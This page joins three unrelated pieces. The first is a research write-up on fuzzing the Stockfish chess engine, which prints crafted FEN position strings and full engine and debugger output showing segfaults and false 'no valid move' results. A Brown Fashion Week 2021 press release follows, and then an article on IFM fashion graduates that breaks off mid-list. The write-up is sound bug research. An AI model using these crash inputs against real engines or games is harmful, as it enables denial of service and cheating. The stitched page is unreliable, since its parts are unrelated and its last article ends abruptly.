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Win by Segfault and other notes on Exploiting Chess Engines

Mish Boyka

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Sarah Jamie Lewis

We document a number of paths that can be used to exploit the Stockfish chess engine, causing crashes when attempting to evaluate the next best move, or even outright tricking the engine into believing it has no valid moves (while preserving the illusion to the interface that a valid game is being played).

Prelude

Universal Chess Interface (UCI) is an open communication protocol that enables chess engines to communicate with user interfaces. It is supported by practically every chess engine, and it is the interface through which we will be hooking our fuzzer.

Stockfish

Stockfish is an open source chess engine and is consistently ranked high in chess-engine rating lists. Stockfish is commonly bundled in engine-based chess applications and also used as the base for many derivative engines.

Forsyth – Edwards Notation (FEN)

Positions are set up in chess engines over UCI using the position command. One variant of this is the position fen command that uses a format known as Forsyth – Edwards Notation, or FEN for short

Here is the FEN for the starting position in standard chess:

rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1

From left to right, we start with the piece position in each rank starting from rank 8 (empty squares are denoted by a number), then the active color (in this case w for white), then fields relating to castling and en-passant and then finally the number of half moves and full moves.

Displaying the Game State

At the start of the UCI session sending the command d tells the engine to display the current setup:

d

 +---+---+---+---+---+---+---+---+
 | r | n | b | q | k | b | n | r | 8
 +---+---+---+---+---+---+---+---+
 | p | p | p | p | p | p | p | p | 7
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 6
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 5
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 4
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 3
 +---+---+---+---+---+---+---+---+
 | P | P | P | P | P | P | P | P | 2
 +---+---+---+---+---+---+---+---+
 | R | N | B | Q | K | B | N | R | 1
 +---+---+---+---+---+---+---+---+
   a   b   c   d   e   f   g   h

Fen: rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1
Key: 8F8F01D4562F59FB
Checkers: 

As you can see it displays the board setup graphically, the Fen string associated with the board, a key (used in hash tables for pre-computing moves), and any possible checking pieces.

Opening Moves

Getting starting with fuzzing the UCI is relatively simple. Most engines accept input on stdin, and most off-the-shelf fuzzers support fuzzing over stdin. We can start with perhaps the most common open source fuzzer available today, afl.

We compile the latest Stockfish from source, substituting gcc / g ++ with their afl siblings (this allows us to instrument the app and makes fuzzing more efficient, but as we will soon see this wasn’t really necessary)

We construct a very simple input file:

    setoption name Skill Level value 6
    set position fen rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1
    d

Even with this simple setup we can find crashes almost immediately …

The Middlegame

It turns out the FEN parser is a pretty big area of ​​vulnerability in Stockfish. Stockfish will crash often when given fuzzed FEN inputs. Most of these crashes are, however, uninteresting. Crashing the engine before it has started the game doesn’t provide any opportunities for winning the game, and as it turns out we can do better …

We first need to adjust out inputs, we need the engine to be doing more things such that it creates more opportunities for exploitation, enter the go command.

    setoption name Skill Level value 6
    set position fen rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1
    d
    go depth 5

go tells the engine to think about the next move, and come up with a solution. There are various parameters like infinite and depth that allows us to tweak how long it will think for and how many moves it will consider. It is also worth noting that fuzzing this interface will create many, many false positives (in particular false unique hang bugs – because the engine will be doing work, and the fuzzing session sometimes mistakes this for us having tricked the program into an infinite loop) – but these can be safely ignored.

We being our fuzzing session again, and after many, many hours, we hit a bug that looks more interesting … a crash that occurs after a call to go

Checking this out in gdb indicates that the crash happens deep inside NNUE

Eval::NNUE::FeatureTransformer::UpdateAccumulator (c=BLACK, pos=..., this=0x7fffee800000) at nnue/nnue_feature_transformer.h:379
379               acc[k] = vec_add_16(acc[k], column[k]);

NNUE (reversed EUNN for Efficiently Updateable Neural Network) is a core part of Stockfish and provides the intelligence that makes it such a strong engine. It seems as if we have a viable path into the core evaluation functions of Stockfish, and it’s time to see if we can use that to gain some advantage over the machine.

The Endgame

So, what input did we find that made it all the way into Stockfish’s neural network? (Note: this input has been cleaned up to remove fuzzing artifacts not relevant to the bug)

position fen 4kb1r/p2rqppp/5n2B2p1B1/4P3/1Q6/PPP2PPP/2K4R w - -
d
go searchmoves

What happens when we are given this information to Stockfish?

Stockfish 291120 by the Stockfish developers (see AUTHORS file)
position fen 4kb1r/p2rqppp/5n2B2p1B1/4P3/1Q6/PPP2PPP/2K4R w - -
d

    +---+---+---+---+---+---+---+---+
    |   |   |   |   | k | b |   | r | 8
    +---+---+---+---+---+---+---+---+
    | B |   |   | p | q | B | p | p | 7
    +---+---+---+---+---+---+---+---+
    |   |   |   | P |   | n |   |   | 6
    +---+---+---+---+---+---+---+---+
    | Q |   |   |   |   |   |   |   | 5
    +---+---+---+---+---+---+---+---+
    | P | P |   |   | P | P | P |   | 4
    +---+---+---+---+---+---+---+---+
    |   | K |   |   |   |   | R | P | 3
    +---+---+---+---+---+---+---+---+
    |   |   |   |   |   |   |   |   | 2
    +---+---+---+---+---+---+---+---+
    |   |   |   |   |   |   |   |   | 1
    +---+---+---+---+---+---+---+---+
    a   b   c   d   e   f   g   h

Fen: 4kb1r/B2pqBpp/3P1n2/Q7/PP2PPP1/1K4RP/8/8 w - - 0 1
Key: 2CCEE92BEE2FC8B8
Checkers: f7
go searchmoves
info string NNUE evaluation using nn-62ef826d1a6d.nnue enabled
info depth 1 seldepth 1 multipv 1 score cp 801 nodes 31 nps 31000 tbhits 0 time 1 pv f7d5
info depth 2 seldepth 2 multipv 1 score cp 740 nodes 72 nps 72000 tbhits 0 time 1 pv f7d5 e7d6
info depth 3 seldepth 3 multipv 1 score cp 405 nodes 171 nps 171000 tbhits 0 time 1 pv f7d5 e7d6 h3h4 f6d5 e4d5
info depth 4 seldepth 4 multipv 1 score cp 556 nodes 206 nps 206000 tbhits 0 time 1 pv f7d5 e7d6 d5c4
info depth 5 seldepth 5 multipv 1 score cp 677 nodes 288 nps 144000 tbhits 0 time 2 pv f7d5 e7d6 a7e3
info depth 6 seldepth 7 multipv 1 score cp 787 nodes 442 nps 221000 tbhits 0 time 2 pv f7d5 e7d6 a7c5
info depth 7 seldepth 8 multipv 1 score cp 865 nodes 645 nps 322500 tbhits 0 time 2 pv f7d5 e7d6 a7c5
info depth 8 seldepth 12 multipv 1 score cp 990 nodes 1013 nps 337666 tbhits 0 time 3 pv f7d5 f6d5 d6e7
info depth 9 seldepth 12 multipv 1 score cp 912 nodes 3879 nps 646500 tbhits 0 time 6 pv f7d5 e7d6 a7c5 d6b8 d5c4 f8c5 a5c5 b8f4
info depth 10 seldepth 15 multipv 1 score cp 878 nodes 7305 nps 664090 tbhits 0 time 11 pv f7d5 e7d6 g3c3 d6b4 a5b4 f8b4 c3c8 e8e7 c8h8 b4d6 a7b8 d6c5 a4a5
info depth 11 seldepth 20 multipv 1 score cp 873 nodes 12643 nps 743705 tbhits 0 time 17 pv f7d5 e7d6 a7c5 d6c5 a5a8 e8e7 b4c5 f6d5 a8d5 h7h6 g3d3 e7f6 d5d4 f6g6 f4f5 g6h7
fish: Job 2, “./stockfish” terminated by signal SIGSEGV (Address boundary error)

There is much to unpack, so let’s start with a few obvious points. The FEN string is very invalid: position fen 4kb1r/p2rqppp/5n2B2p1B1/4P3/1Q6/PPP2PPP/2K4R w - -. Rank 3 (5n2B2p1B1 encodes 15 pieces!

However it gets interpreted as 4kb1r/B2pqBpp/3P1n2/Q7/PP2PPP1/1K4RP/8/8 w - - 0 1 which stockfish considers valid enough to proceed with examining.

Those with a keen eye will have noted that the derived FEN is technically illegal, black is checked by Bishop on f7 and so it cannot be whites turn. However, instead of returning no valid moves Stockfish instead suggests possible moves up to a given depth, at which point it crashes deep inside its neural network.

The structure of this bug is relatively simple, the FEN parser is over-liberal and allows us to structure games in such a way that Stockfish becomes confused about the nature of the game. Our next goal is to see if we can develop this exploit further?

Different Games Depending on who is Playing

Consider the inputs position fen 4kb1r/p2rqpp1Q6/PPP2PPP/2K4R w k and position fen 4kb1r/p2rqpp1Q6/PPP2PPP/2K4R b k, both are almost-identical (malicious) FEN positions except for one indicates that it is whites turn to play and the other indicates that it is blacks turn to play.

What happens when Stockfish interprets these inputs?

Stockfish 291120 by the Stockfish developers (see AUTHORS file)
position fen 4kb1r/p2rqpp1Q6/PPP2PPP/2K4R w k
d

 +---+---+---+---+---+---+---+---+
 | Q |   |   |   | k | b |   | r | 8
 +---+---+---+---+---+---+---+---+
 | P | P |   | r | P | P | P |   | 7
 +---+---+---+---+---+---+---+---+
 |   | K |   |   |   |   | R | P | 6
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 5
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 4
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 3
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 2
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 1
 +---+---+---+---+---+---+---+---+
   a   b   c   d   e   f   g   h

Fen: Q3kb1r/PP1rPPP1/1K4RP/8/8/8/8/8 w k - 0 1
Key: A5C501AF3C69574F
Checkers: a7 
go searchmoves
.....
info depth 30 seldepth 8 multipv 1 score mate 4 nodes 25542 nps 1216285 tbhits 0 time 21 pv b6c6 d7d6 g6d6 e8f7 e7f8q h8f8 g7f8q
fish: Job 3, “./stockfish” terminated by signal SIGSEGV (Address boundary error)
Stockfish 291120 by the Stockfish developers (see AUTHORS file)
position fen 4kb1r/p2rqpp1Q6/PPP2PPP/2K4R b k
d

 +---+---+---+---+---+---+---+---+
 | Q |   |   |   | k | b |   | r | 8
 +---+---+---+---+---+---+---+---+
 | P | P |   | r | P | P | P |   | 7
 +---+---+---+---+---+---+---+---+
 |   | K |   |   |   |   | R | P | 6
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 5
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 4
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 3
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 2
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 1
 +---+---+---+---+---+---+---+---+
   a   b   c   d   e   f   g   h

Fen: Q3kb1r/PP1rPPP1/1K4RP/8/8/8/8/8 b k - 0 1
Key: 0530210BF5930C83
Checkers: e7 f7 a8 
go searchmoves
info string NNUE evaluation using nn-62ef826d1a6d.nnue enabled
info depth 0 score mate 0
bestmove (none)

Despite the derived board being the same (illegal) setup, the Checkers field is inconsistent (and incorrect). It is as if Stockfish is using pieces in the original (malicious) input in its GFN of pieces that are checking. In the case of a black move there is piece on e7 checking, and in the white case there is no a7 piece checker either. One input, two very different interpretations and results.

Putting it all Together

We now have the pieces necessary (pardon the pun), to attempt to construct a somewhat realistic attack on Stockfish, a FEN parser that accepts a wide range of potentially malicious inputs, that will potentially allow us to craft a game specifically for Stockfish. That input will get interpreted by Stockfish in ways that we can control – as we have already seen there are a myriad of ways we can trigger a crash inside the neural network when Stockfish attempts to evaluate the next move, but we can actually do something a little more insidious – convince Stockfish that it has no valid moves to play.

Let us consider, the following position (black to play), black is in check by the pawn on d7, but can take to get out of check (Kxd7 or e8d7).

Such a game can be encoded as 4kb1r/p1PPPppp/4RPPP/7K/8/8/8/8 b k - 0 1, this game is legal.

Under normal operation, Stockfish has no problem finding the next best move for black:

Stockfish 291120 by the Stockfish developers (see AUTHORS file)
position fen 4kb1r/p1PPPppp/4RPPP/7K/8/8/8/8 b k - 0 1
d

 +---+---+---+---+---+---+---+---+
 |   |   |   |   | k | b |   | r | 8
 +---+---+---+---+---+---+---+---+
 | p |   | P | P | P | p | p | p | 7
 +---+---+---+---+---+---+---+---+
 |   |   |   |   | R | P | P | P | 6
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   | K | 5
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 4
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 3
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 2
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 1
 +---+---+---+---+---+---+---+---+
   a   b   c   d   e   f   g   h

Fen: 4kb1r/p1PPPppp/4RPPP/7K/8/8/8/8 b k - 0 1
Key: D16F5C3E2F9FABD3
Checkers: d7 
go searchmove
....
bestmove e8d7 ponder e7e8q

Now consider the input position fen 4kb1r/p2rqppp/5PPP2PPP/2K4R b k

Stockfish 291120 by the Stockfish developers (see AUTHORS file)
position fen 4kb1r/p2rqppp/5PPP2PPP/2K4R b k
d

 +---+---+---+---+---+---+---+---+
 |   |   |   |   | k | b |   | r | 8
 +---+---+---+---+---+---+---+---+
 | p |   | P | P | P | p | p | p | 7
 +---+---+---+---+---+---+---+---+
 |   |   |   |   | R | P | P | P | 6
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   | K | 5
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 4
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 3
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 2
 +---+---+---+---+---+---+---+---+
 |   |   |   |   |   |   |   |   | 1
 +---+---+---+---+---+---+---+---+
   a   b   c   d   e   f   g   h

Fen: 4kb1r/p1PPPppp/4RPPP/7K/8/8/8/8 b k - 0 1
Key: D16F5C3E2F9FABD3
Checkers: d7 e7 

Note how our malicious input encodes to our considered game 4kb1r/p1PPPppp/4RPPP/7K/8/8/8/8 b k - 0 1. However, there is one big difference, Stockfish thinks that the black king is in check twice, on d7 AND on e7.

When we attempt to use stockfish to find the next best move, Stockfish fails:

go searchmove
info string NNUE evaluation using nn-62ef826d1a6d.nnue enabled
info depth 0 score mate 0
bestmove (none)

We have successfully tricked Stockfish into confusion.

Epilogue

Is any of this practical? Can you actually use any of the exploits documented here to win a game of Chess?

To exploit these vulnerabilities requires that the chess engine accept, mid game, the state of the game in FEN format (or some other format that contains our poisoned FEN string).

Is this likely? Not really, but it certainly isn’t beyond the realm of possibility – adjournments used to be a common part of chess and are still occasionally invoked, machine restarts do happen (and thus the machine must be seeded with the most recent game state), and there is a thriving community of players who play over days, weeks or months with the aid of engines and portable game formats … such an attack vector is, at least for the sake of argument, not impossible. (see also #KingMe Attack)

More realistically, this has been a fun academic study on the nature of artificial intelligence and an exploration in how machines can be tricked to gain an advantage.

Other Notes and References

Win by Segfault Attack

After building a better fuzzing corpus out of chess puzzles I now have an example of a spiked FEN attack which constructs FEN containing a legal board setup and that segfaults during GFN. The crash is not always consistent, but happens roughly 1/2 the time (100% in a debugger)

position fen r1b2rk1pn1/7n/4o3/6Qq/2BB4/pPP2PPP/R5K1 b - - 1 0
d
+---+---+---+---+---+---+---+---+
| r |   | n |   |   | r | k |   | 8
+---+---+---+---+---+---+---+---+
|   |   |   |   |   |   |   |   | 7
+---+---+---+---+---+---+---+---+
| Q | q |   |   |   |   |   |   | 6
+---+---+---+---+---+---+---+---+
|   |   |   |   |   |   |   |   | 5
+---+---+---+---+---+---+---+---+
| P | P |   |   | B | B |   |   | 4
+---+---+---+---+---+---+---+---+
| K |   | p | P | P |   |   | P | 3
+---+---+---+---+---+---+---+---+
|   |   | R |   |   |   |   |   | 2
+---+---+---+---+---+---+---+---+
|   |   |   |   |   |   |   |   | 1
+---+---+---+---+---+---+---+---+
a   b   c   d   e   f   g   h

Fen: r1n2rk1/8/Qq6/8/PP2BB2/K1pPP2P/2R5/8 b - - 1 1
Key: 3E7AABA0F8324B04
Checkers:
go depth 10
info string NNUE evaluation using nn-62ef826d1a6d.nnue enabled
info depth 1 seldepth 1 multipv 1 score cp -666 nodes 302 nps 302000 tbhits 0 time 1 pv f8f4 a6b6 c8b6 e3f4 a8a4 a3b3
info depth 2 seldepth 2 multipv 1 score cp -794 nodes 352 nps 352000 tbhits 0 time 1 pv g8g7 a6b6
info depth 3 seldepth 3 multipv 1 score cp -903 nodes 491 nps 245500 tbhits 0 time 2 pv f8f7 a6b6 c8b6
info depth 4 seldepth 4 multipv 1 score cp -947 nodes 942 nps 471000 tbhits 0 time 2 pv b6c7 f4c7 a8a6
info depth 5 seldepth 5 multipv 1 score cp -911 nodes 1141 nps 570500 tbhits 0 time 2 pv g8h8 a6b6 c8b6

Thread 2 "stockfish" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff722f700 (LWP 2540040)]
Eval::NNUE::FeatureTransformer::UpdateAccumulator (c=BLACK, pos=..., this=0x7fffee800000) at nnue/nnue_feature_transformer.h:379
379               acc[k] = vec_add_16(acc[k], column[k]);

Peter Bindels found that the derived FEN above can be arrived at through the following sequence of legal moves:
d3 c5
Bf4 d5
e3 e5
Qh5 g5
Qxg5 f5
Qxf5 c4
b4 c3
a4 Qe7
Qxe5 Bf5
Qxd5 Bh6
Qxf5 Qe6
Qxh7 Ne7
Qxh6 Nc8
Qg7 Nc6
Qxb7 Nd4
Qxa7 O-O
Qa6 Nxc2+
Kd1 Nd4
Be2 Nf3
Bxf3 Qb6
Be4 Qg6
Nd2 Qxg2
Kc2 Qxf2
Ngf3 Qxf3
Rhf1 Qxf1
Rc1 Qxh3
Kb3 Qh6
Nc4 Qc6
Nb6 Qxb6
Rc2 Qc6
Ka3 Qb6
. Showing that the derived FEN is a valid (though unlikely) board setup.

 

Fashion

Brown University Fashion Week 2021 Kicks Off with Lineup of Fashion and Lifestyle Royalty Including Sarah Jessica Parker, Gwyneth Paltrow, Stella McCartney, and More

Emily walpole

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Brown University Fashion Week 2021 Kicks Off with Lineup of Fashion and Lifestyle Royalty Including Sarah Jessica Parker, Gwyneth Paltrow, Stella McCartney, and More

PROVIDENCE, R.I., March 3, 2021 /PRNewswire-PRWeb/ — Brown Fashion Week 2021 will take place from March 4 to March 26 and features some of the biggest names in the fashion and lifestyle industries. Re-imagined by student organization Fashion@Brown (F@B) as a virtual celebration this year, the impressive 22-day program of events is free and open to students and fashionistas around the globe and not limited to the Brown University community.

“We were astonished and humbled by the positive response we received to our invitations to speak at Brown Fashion Week this year,” states Sasha Pinto, president of the student organization, Fashion@Brown. “We wanted to make Brown Fashion Week bigger than ever to spread some much-needed inspiration to students given the extreme isolation everyone has been experiencing — and the fashion industry responded in overwhelming numbers. It is a tribute not only to the kindness and generosity of the individual speakers but to the industry in general.”

Joining Fashion@Brown will be such renowned leaders as Gwyneth Paltrow, Sarah Jessica Parker, Stella McCartney, Kenneth Cole, Steve Madden, Emma Chamberlain, and Olivier Rousteing, among others. A complete list of all speakers and events follows.

Events are free and registration details can be found at https://fashionatbrown.com/events

Brown Fashion Week 2021 – Complete Speaker Lineup

Brown Fashion Week Distinguished Speaker Series kicks off on Thursday, March 4 at 7:30 pm ET with …

Sarah Jessica Parker: Actress, Entrepreneur, Civic Activist: SJP Does it All… and in High Heels” on Thursday, March 4 at 7:30 pm ET – Join F@B in conversation with the powerhouse whose latest bona fides include CEO of the SJP Collection, her booming shoe business; member of the Partnership for New York City, an economic council of NYC’s top CEOs; and vice chairman of the New York City Ballet… in addition to being a Golden Globe, Emmy, and Screen Actors Guild award-winning actress of the stage, silver screen, and television. Hear about SJP’s unique approach to retail, her myriad entrepreneurial initiatives, and her passionate dedication to the post-pandemic revival of New York City.

Next in the series is “Kenneth Cole: The Fashion Empire Visionary Shining a Light on Social Issues with Passion and Purpose,” on Monday, March 8 at 8:00 PM ET, featuring Kenneth Cole, who built a billion-dollar retail business while keeping in mind that “it’s great to be known for your shoes, but it’s better to be recognized for your soul.” Instead of being the company’s model, Kenneth Cole decided to be the company’s role model by lending his name to social issues like AIDS, homelessness, gun control, mental health and abortion. Cole will be interviewed by his daughter Amanda cole, Brown class of 2012.

On Monday, March 8 at 12:30 pm ET zoom in to “A Conversation with the World’s Foremost Fashion CEOs.” Isabelle Guichot, CEO of the chic Parisian fashion house Maje and former CEO of the renowned luxury maisons Cartier, Van Cleef & Arpels, and Balenciaga, joins Patrice Louvet, CEO of Ralph Lauren, for a dynamic industry leader fireside chat. As CEO of Ralph Lauren, which recently dressed Joseph R. Biden Jr. for the presidential inauguration, Mr. Louvet leads this hugely successful multi-billion-dollar company.

The series continues with “Steve Madden’s Wild Ride and Crazy Come Back” on Monday, March 9 at 8:00 PM ET. F@B is excited to host “the Maddman” himself who turned a fledgling startup launched in 1990 with $1,100 into a global, multibillion-dollar brand. But Steve Madden’s mistakes — from his battle with addiction to the financial shortcuts that landed him in prison — are as important to his narrative as his iconic shoes. Steve will share his uplifting story, the lessons he’s learned along the way, and how he hopes to use his hard-won platform to create positive change.

On March 10 at 2:00 pm ET: “Francesca Bellettini: The Powerhouse Behind the Billion-Dollar Brand” features the woman who has propelled the Yves Saint Laurent brand into the exclusive billion-Euro club, and in the process made herself one of the most powerful women in fashion where there are only a handful of female chief executives. Launching her career at Goldman Sachs before moving to prestigious fashion houses such as Prada, Gucci, Helmut Lang, and Bottega Veneta, Bellettini has shaped every form of luxury from the bags we carry to the clothes and shoes we wear.

On March 12 at 4:00 pm ET, F@B hosts internet phenomenon Emma Chamberlain: “The Most Interesting Girl on YouTube” according to the New York Times. Chamberlain, at just 19 years old, has created her own wildly successful brand as a Youtuber, social media influencer, Tik Tok star, podcaster, and owner of Chamberlain Coffee with a combined social media following of more than 30 million. Emma has also pivoted into the fashion industry, making her own merchandise and partnering with legendary Louis Vuitton. She has even recently entered the beauty world by becoming the global brand ambassador and creative director for Bad Habit Beauty Skincare. Emma has also had a huge impact on mental health, sharing her own struggles with anxiety and depression across all of her platforms.

The series continues on Sunday March 14 at 2 pm ET with “Olivier Rousteing: Transforming a Classic: Fashion’s Storyteller for a New Age.” Balmain’s wunderkind, Olivier Rousteing, will share what he envisions as fashion in the 21st century: a fresh, inclusive world of glamour and revolution. Bringing an innovative spirit of adventure and understanding of a digital generation, Olivier Rousteing’s creative vision has been integral to Balmain’s rapid growth as a brand and as a cultural staple on social media through his “Balmain Army.”

The next session, “Olivia Palermo: Style Authority, Tastemaker, and Instagram Case Study” on Thursday, March 18 at 7:30 pm ET is not to be missed. Palermo is a major force in the fashion industry; renowned designers invite her to collaborate, Valentino invites her to his yacht, Instagram uses her as a case study, and The New York Times published a feature story about her success. Olivia’s journey from an internship in the offices of Diane von Furstenberg in 2006 to an acclaimed international style authority and industry tastemaker today is a story that everyone with entrepreneurial ambitions will want to hear.

On Friday, March 19 at 12:30 pm ET, F@B presents “Stella McCartney: The Mindful Eco-Warrior of High Fashion.” Stella McCartney is one of the fashion industry’s most vocal champions of environmental issues and her company is a highly successful example of the commercial potential of sustainable, ethically minded businesses. Renowned not only for her successful designs, which included Meghan Markle’s wedding reception dress, Stella was also the first fashion designer ever to appear on the cover of American Vogue magazine in January 2020. A lifelong vegetarian, Stella has never used leather, feathers, skin or fur in any of her designs.

March 22, 7:30 pm ET, F@B presents – “Gwyneth Paltrow: The Oscar-winning Lightning-Rod, Trailblazing Lifestyle& Wellness CEO.” Join F@B for a chat with the actress-turned-powerhouse CEO who has taken the lifestyle and wellness market by storm. Providing a fresh—and at times controversial—perspective, Goop is one of the wellness industry’s most recognizable brands earning Paltrow millions of passionately loyal admirers (and, yes, a few trolls) through the simple premise that wellness is the new wealth. With Goop’s blend of aesthetic lifestyle digital media that touches on everything from beauty and wellness to fashion, food, home, and travel—along with its thriving e-commerce business, retail stores, events, and health summits, Goop is a worldwide phenomenon and Gwyneth Paltrow is just getting started.

Panel Discussions

In addition to the speaker series, Brown Fashion Week’s fascinating and thought-provoking panel discussions are not to be missed:

Changemaker Fashion Designers as Translators of Culture & Ethics

March 6 at 2:00 pm ET

Join this F@B conversation with Rome-based designer Stella Jean, Brooklyn-based Fe Noel, and Detroit-based Tracy Reese who are transforming the fashion landscape each in their own way, from using fashion as a bridge and translator of culture to using it as a way to uplift exploited communities. Hear about their journeys, efforts to promote diversity and inclusion in the industry, as well as efforts to expand sustainable design initiatives and ethical production.

Award-Winning Costume Designers Shaping Fashion in Film

March 13, 2:00 pm ET

We’ll hear from Oscar-winner Ruth Carter, six-time Emmy-winner Michele Clapton, and Emmy-nominated Heidi Bivens on their experiences within the fashion and film industries, as well as their processes, inspirations, and ambitions. Their work spans across all different genres, be it Clapton’s Game of Thrones and The Crown, Carter’s Black Panther and Malcolm X, or Heidi Bivens Mid 90s and Euphoria.

The Future of Fashion Journalism from America’s Foremost Editors

March 16, 7:30 pm ET

Join F@B for a live-streamed conversation with three of fashion journalism’s most celebrated editors and influential voices in fashion: Vanessa Friedman, fashion director and chief fashion critic at The New York Times; Chioma Nnadi, editor of Vogue.com; and Samantha Barry, editor-in-chief of Glamour. Editorial is how we discover the latest trends, unearth new icons, and define style as we know it. The future of fashion journalism today is in flux, however, between the dilemma of reporting on fashion during a pandemic, the rise of influencer-generated content, the shift to digital platforms, and disappearance of print magazines. Friedman, Nnadi, and Barry will join us to discuss and dissect the future of fashion journalism.

Disrupting Beauty: Supermodels on Representation & Empowerment

March 17, 3:00 pm ET

This fascinating conversation will explore how modeling can influence greater societal change, how media representation can center marginalized identities in the public consciousness and how their careers have inspired them to help empower others; while their faces dominate our magazines and feeds, few are aware of their social and philanthropic work. We will hear from Jasmine Tookes, Cindy Bruna, Jasmine Sanders and Tami Williams about their inspirational journeys.

Screening & Discussion of “The Remix: Hip Hop x Fashion”

March 21, 6:00 pm ET

Join F@B and the Brown Arts Initiative for a discussion with Lisa Cortés, the Academy Award-Nominated director, writer, and producer of the film, in conversation with award-winning filmmaker Yoruba Richen, Brown Professor of the Practice. The Remix is a story of hip hop’s influence on the fashion industry, which has led to the stratospheric and global rise of street wear. It is a story of African American creativity and limitless possibilities of this shift in culture, focusing on the journeys of fashion architect Misa Hylton, streetwear designer April Walker, as well as Dapper Dan and Kerby Jean-Raymond.

And finally, Brown Fashion Week 2021 culminates with their 11th Annual Runway Show…

The 11th Annual Runway Show on Friday, March 26 at 7:00 pm ET, presented virtually for the first time, will showcase the collections of the F@B team of twenty-six student designers from both Brown University and Rhode Island School of Design. The collections will be released in a high-fashion campaign film, accompanied by a virtual and print Lookbook.

To register for any and all of the aforementioned complimentary events, please click http://www.fashionatbrown.com/events for more information and registration.

Media Contact

Sasha Pinto, Fashion@Brown, +1 (609) 865-7399, SashaPinto@fashionatbrown.com

SOURCE Fashion@Brown

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Meet the Institut Français de la Mode’s first-ever MA Fashion graduates

Emily walpole

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Meet the Institut Français de la Mode’s first-ever MA Fashion graduates

Johanna Imbach MA Collection. Image courtesy of Institut Français de la Mode.

We won’t lie; flipping the calendar page to March was a sobering moment, an unwelcome reminder that we’ve spent a whole year of our lives living through these unprecedented times. Our minds, naturally, drifted back 12 months to those pre-pandemic ‘last days of Rome’ — well, Paris, actually, where the city’s AW20 fashion week was in full swing. Meanwhile, in a neon green lightning bolt of a building on the Left Bank of the Seine, the inaugural cohort of the Institut Français de la Mode (IFM)’s spanking new MA programme had reached the halfway mark in the two-year course, cutting, draping and dreaming of their debut on the fashion world’s most prestigious stage just twelve months down the line.

You know how the story goes — a goddamn lot has happened since, and any plans that were in place then were swiftly put paid to. Still, despite the trials and turmoils that the past year has posed, the dreams of the 48 members of the IFM’ first graduating were yesterday realised, with their collections opening the AW21 Paris Fashion Week schedule. “This presentation […] is the first concrete expression of our project and our ambition,” says Xavier Romatet, the school’s dean. “It’s an opportunity to appreciate the creative level of this first graduating class of our new Master’s programme, to identify emerging talent for tomorrow and to contribute to rethinking fashion in light of the current disruptions.”

 

As you’ll see below, this fresh crop of young talent below has done a pretty good job of doing just that, presenting accomplished, thought-provoking collections even in (and in some cases as a reaction to) today’s hostile climate for fashion’s new faces. Here, seven of the graduates discuss their final collections, how they navigated the challenges of creating during the pandemic, and how the past year has shaped their perspectives on fashion.

Adam Kost

How would you introduce your graduate collection? My collection is a meditation on purity and smoothness; meadow and sky; moonlight during the night, sunshine during the day: things that make me feel I am part of everything and everything is part of me. What are its central themes? It’s about the eternal qualities of fashion, and how it interacts with the human body. I was trying to find a universal language, one that everybody can relate to, discussing basic topics and archetypes that are more or less the same for all of us. How did you find developing and creating your graduate collection during the pandemic? Creating during the pandemic meant creating a collection with limited resources. But this fact didn’t affect my creativity; it even forced me to dream more, be more generous, and more grateful that I still had the privilege to create garments. How has the past year shaped your understanding of fashion’s purpose? It’s taught me to question my designs much more; to ask myself if they should be made and if they are aesthetically sustainable.

Clément Picot

How would you introduce your graduate collection? My collection, titled “Dream Until the End”, is inspired by two of my favourite movies: American Psycho and The Shining by Stanley Kubrick. I always found that there was a kind of similarity between the two main characters. I wanted to pay tribute to these two films through a series of winks in the looks of the collection, but above all, I wanted to create my own narrative. What are its central themes? The idea was to show the evolution of a person, a transformation and descent to a hell that lies somewhere between the imaginary and the real. I tried to translate this idea through the different looks in my collection, starting with ‘the dream’, with powerful but disturbing silhouettes inspired by Patrick Bateman’s wardrobe, and the last looks ending at the border of the nightmare thanks to hybrid silhouettes inspired by Matthew Barney’s movies. How has the past year shaped your understanding of fashion’s purpose? I remember dreaming in front of Alexander McQueen’s shows more than 10 years ago — I was amazed by the beauty and the almost infinite creativity of his work, and I think this is part of a kind of magic that fashion has and must continue to have in the future. Especially in these difficult times, it is always important to keep dreaming. Fashion is an art like any other, an art that was disappearing more and more under the increasing numbers of collections, and in a world where fast fashion takes up an increasing amount of space. Nowadays, fashion exists more and more as a form of entertainment and inspiration for people who can’t leave their homes anymore, to visit an exhibition in a museum, for example. In the space of a year, fashion has really managed to carve out an important space in people’s daily lives, giving us hope for the future.

Jimin Kim

 

